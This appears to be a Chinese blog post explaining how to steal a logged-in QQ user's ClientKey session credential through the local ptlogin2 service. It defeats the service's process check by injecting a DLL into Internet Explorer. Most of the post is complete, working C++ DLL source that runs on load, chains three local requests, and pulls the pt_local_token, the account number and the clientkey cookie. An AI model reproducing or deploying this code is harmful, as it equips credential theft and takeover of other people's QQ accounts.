• 读取QQ ClientKey失败分析


    Make ClientKey Greate Again!!!

    背景

    网上有不少获取QQ ClientKey的方式,主要是两种:

    一种是模拟浏览器访问本地登陆QQ的方式获取ClientKey;

    第二种就是注入到QQ通过调用它的导出函数获取ClientKey;

    上述的两种方式都不难找到各种源码和一些分析,这里跳过

    绕过

    这里使用第一种,原因:

    不会注入到qq,没什么乱七八糟的风险

    不少朋友会发现在发送第二个请求(localhost.ptlogin2.qq.com)的时候会出现403,而且在挂上brup suite和fd的时候单点就失效,但是挂上chrome自带的插件却不会!

    这是为什么呢?

    最大的可能就是对进程进行了校验,这里直接将进程名修改为chrome,发现不行,说明可能还校验了签名等其他乱七八糟的东西,但是当我把程序写成一个dll,在注入到iexplore.exe(这里抄的上述代码,代理是internet iexplore,所以注入的是ie)成功获取,下面是代码

    // dllmain.cpp : 定义 DLL 应用程序的入口点。
    #include "pch.h"
    
    #include<string>
    #include<windows.h>
    #include<iostream>
    #include<WinInet.h>
    #pragma comment(lib,"wininet.lib")
    
    char URL_STRING[] = "https://xui.ptlogin2.qq.com/cgi-bin/xlogin?appid=636014201&s_url=http://www.qq.com/qq2012/loginSuccess.htm&style=20&border_radius=1&target=self&maskOpacity=40";
    
    void GameStart()
    {
    	// 初始化URL
    	URL_COMPONENTSA crackedURL = { 0 };
    	char szHostName[128];
    	char szUrlPath[256];
    	crackedURL.dwStructSize = sizeof(URL_COMPONENTSA);
    	crackedURL.lpszHostName = szHostName;
    	crackedURL.dwHostNameLength = ARRAYSIZE(szHostName);
    	crackedURL.lpszUrlPath = szUrlPath;
    	crackedURL.dwUrlPathLength = ARRAYSIZE(szUrlPath);
    	InternetCrackUrlA(URL_STRING, (DWORD)strlen(URL_STRING), 0, &crackedURL);
    
    	// 初始化会话
    	HINTERNET hInternet = InternetOpenA("Microsoft Internet Explorer", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
    	HINTERNET hHttpSession = InternetConnectA(hInternet, crackedURL.lpszHostName, INTERNET_DEFAULT_HTTPS_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
    	HINTERNET hHttpRequest = HttpOpenRequestA(hHttpSession, "GET", crackedURL.lpszUrlPath, NULL, "", NULL, INTERNET_FLAG_SECURE, 0);
    
    	// 发送HTTP请求
    	HttpSendRequest(hHttpRequest, NULL, 0, NULL, 0);
    
    	// 查询HTTP请求状态
    	DWORD dwRetCode = 0;
    	DWORD dwSizeOfRq = sizeof(DWORD);
    	BOOL bRet = FALSE;
    	bRet = HttpQueryInfo(hHttpRequest, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, &dwRetCode, &dwSizeOfRq, NULL);
    
    	// 读取整个Headers
    	char lpHeaderBuffer[1024] = { 0 };
    	dwSizeOfRq = 1024;
    	bRet = HttpQueryInfo(hHttpRequest, HTTP_QUERY_RAW_HEADERS, lpHeaderBuffer, &dwSizeOfRq, NULL);
    
    	// 从Cookie中提取pt_local_token的值
    	char* pt_local_token = lpHeaderBuffer + dwSizeOfRq;
    	while (pt_local_token != lpHeaderBuffer)
    	{
    		if (strstr(pt_local_token, "pt_local_token="))
    		{
    			// 退出之前,修正偏移
    			pt_local_token += sizeof("pt_local_token");
    			char* pEndBuffer = strstr(pt_local_token, ";");
    			*pEndBuffer = 0;
    			break;
    		}
    		pt_local_token--;
    	}
    
    	// 关闭句柄,只需要释放下面两个,注意关闭时按相反的顺序
    	InternetCloseHandle(hHttpRequest);
    	InternetCloseHandle(hHttpSession);
    
    
    	/* 第二次建立会话 */
    
    	// 初始化URL参数
    	char lpszUrlPath[MAX_PATH] = "/pt_get_uins?callback=ptui_getuins_CB&pt_local_tk=";
    	strcat(lpszUrlPath, pt_local_token); // url末尾追加pt_local_token
    
    	// 初始化会话
    	hHttpSession = InternetConnectA(hInternet, "localhost.ptlogin2.qq.com", 4301, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
    	hHttpRequest = HttpOpenRequestA(hHttpSession, "GET", lpszUrlPath, NULL, "", NULL, INTERNET_FLAG_SECURE, 0);
    
    	// 发送HTTP请求,添加头信息
    	char lpHeaders[] = "Referer:https://xui.ptlogin2.qq.com/cgi-bin/xlogin?appid=636014201&s_url=http%3A%2F%2Fwww.qq.com%2Fqq2012%2FloginSuccess.htm";
    	HttpSendRequestA(hHttpRequest, lpHeaders, strlen(lpHeaders), NULL, 0);
    
    	// 查询HTTP请求状态
    	dwRetCode = 0;
    	dwSizeOfRq = sizeof(DWORD);
    	bRet = HttpQueryInfo(hHttpRequest, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, &dwRetCode, &dwSizeOfRq, NULL);
    
    	// 获取返回数据的大小
    	DWORD dwNumberOfBytesAvailable = 0;
    	bRet = InternetQueryDataAvailable(hHttpRequest, &dwNumberOfBytesAvailable, NULL, NULL);
    
    	// 读取网页内容
    	char* lpBuffer = new char[dwNumberOfBytesAvailable]();
    	bRet = InternetReadFile(hHttpRequest, lpBuffer, dwNumberOfBytesAvailable, &dwNumberOfBytesAvailable);
    
    	// 从内容中提取已登陆QQ账号,是个js数组,这里只提取第一个
    	char* uin = lpBuffer + dwNumberOfBytesAvailable;
    	while (uin != lpBuffer)
    	{
    		if (strstr(uin, "\"account\":"))
    		{
    			// 退出之前,修正偏移
    			uin += sizeof("\"account\":") - 1;
    			char* pEndBuffer = strstr(uin, "}");
    			*pEndBuffer = 0;
    			break;
    		}
    		uin--;
    	}
    
    	// 释放资源,注意关闭句柄时按相反的顺序
    	InternetCloseHandle(hHttpRequest);
    	InternetCloseHandle(hHttpSession);
    
    
    	/* 第三次会话 */
    
    	// 初始化URL参数
    	ZeroMemory(lpszUrlPath, MAX_PATH);
    	strcat(lpszUrlPath, "/pt_get_st?clientuin=");
    	strcat(lpszUrlPath, uin);
    	strcat(lpszUrlPath, "&pt_local_tk=");
    	strcat(lpszUrlPath, pt_local_token);
    	strcat(lpszUrlPath, "&callback=__jp0");
    
    	printf("[+]%s \n", lpszUrlPath);
    
    	// 发送HTTPS请求
    	hHttpSession = InternetConnectA(hInternet, "localhost.ptlogin2.qq.com", 4301, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
    	hHttpRequest = HttpOpenRequestA(hHttpSession, "GET", lpszUrlPath, NULL, "", NULL, INTERNET_FLAG_SECURE, 0);
    
    	// 添加头信息
    	char lpHeaders2[] = "Referer:https://xui.ptlogin2.qq.com/cgi-bin/xlogin?appid=636014201&s_url=http%3A%2F%2Fwww.qq.com%2Fqq2012%2FloginSuccess.htm";
    	HttpSendRequestA(hHttpRequest, lpHeaders2, strlen(lpHeaders2), NULL, 0);
    
    	// 查询HTTP请求状态
    	dwRetCode = 0;
    	dwSizeOfRq = sizeof(DWORD);
    	bRet = HttpQueryInfoA(hHttpRequest, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, &dwRetCode, &dwSizeOfRq, NULL);
    
    	// 读取整个Headers
    	ZeroMemory(lpHeaderBuffer, 1024);
    	dwSizeOfRq = 1024;
    	bRet = HttpQueryInfoA(hHttpRequest, HTTP_QUERY_RAW_HEADERS, lpHeaderBuffer, &dwSizeOfRq, NULL);
    
    	// 从Cookie中提取ClientKey的值
    	char* clientkey = lpHeaderBuffer + dwSizeOfRq;
    	while (clientkey != lpHeaderBuffer)
    	{
    		if (strstr(clientkey, "clientkey="))
    		{
    			// 退出之前,修正偏移
    			clientkey += sizeof("clientkey");
    			char* pEndBuffer = strstr(clientkey, ";");
    			*pEndBuffer = 0;
    			break;
    		}
    		clientkey--;
    	}
    
    	OutputDebugStringA(clientkey);
    
    	InternetCloseHandle(hHttpRequest);
    	InternetCloseHandle(hHttpSession);
    	InternetCloseHandle(hInternet);
    	delete[] lpBuffer;
    }
    
    
    
    BOOL APIENTRY DllMain( HMODULE hModule,
                           DWORD  ul_reason_for_call,
                           LPVOID lpReserved
                         )
    {
        switch (ul_reason_for_call)
        {
        case DLL_PROCESS_ATTACH:
    		GameStart();
    		break;
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            break;
        }
        return TRUE;
    }
    
    
  • 相关阅读:
    转:Swagger2自动生成接口文档和Mock模拟数据
    InfluxDB
    springboot application.properties文件加载顺序
    maven surefire插件与testng
    spring-boot项目学习路径
    collection 与stream与lambd表达式的结合使用
    转:Java中Lambda表达式的使用
    RPC之Thrift 介绍及java实例
    win10中shift+右键,在此处打开cmd窗口
    激活xmind的方法
  • 原文地址:https://www.cnblogs.com/csnd/p/16675578.html
Copyright © 2020-2023  润新知